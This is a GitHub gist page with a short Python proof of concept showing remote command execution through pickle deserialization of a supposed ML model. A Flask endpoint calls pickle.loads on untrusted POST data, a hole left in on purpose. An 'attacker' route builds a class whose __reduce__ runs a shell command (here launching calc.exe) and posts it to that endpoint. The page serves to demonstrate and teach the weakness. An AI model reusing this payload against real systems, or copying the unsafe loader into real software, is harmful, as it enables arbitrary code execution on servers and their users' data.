Skip to content

Instantly share code, notes, and snippets.

@moohax
Created October 19, 2020 03:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save moohax/bb5c1ea4f294ae39dad800a6f86822d3 to your computer and use it in GitHub Desktop.
Save moohax/bb5c1ea4f294ae39dad800a6f86822d3 to your computer and use it in GitHub Desktop.
Example of deserialization for command exec through pickle
import pickle
import base64
import requests
from flask import Flask, request
app = Flask(__name__)
## Start the server and go to 127.0.0.1:5000/exec ##
## API Endpoint ##
@app.route('/load_model', methods=['POST'])
def load_model():
model_data = base64.urlsafe_b64decode(request.data)
model = pickle.loads(model_data)
if model:
return "Success!"
## Attacker Stuff ##
@app.route('/exec')
def lazy_exec():
# Create a class - represents a serialized model on disk.
class MLModel():
def __reduce__(self):
import os
execution = 'cmd.exe /c calc.exe'
return (os.popen, (execution,))
# Serialize it.
payload = base64.urlsafe_b64encode(pickle.dumps(MLModel()))
# Ship it.
requests.post('http://127.0.0.1:5000/load_model', data=payload)
return '[+] Posted to load model'
app.run()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment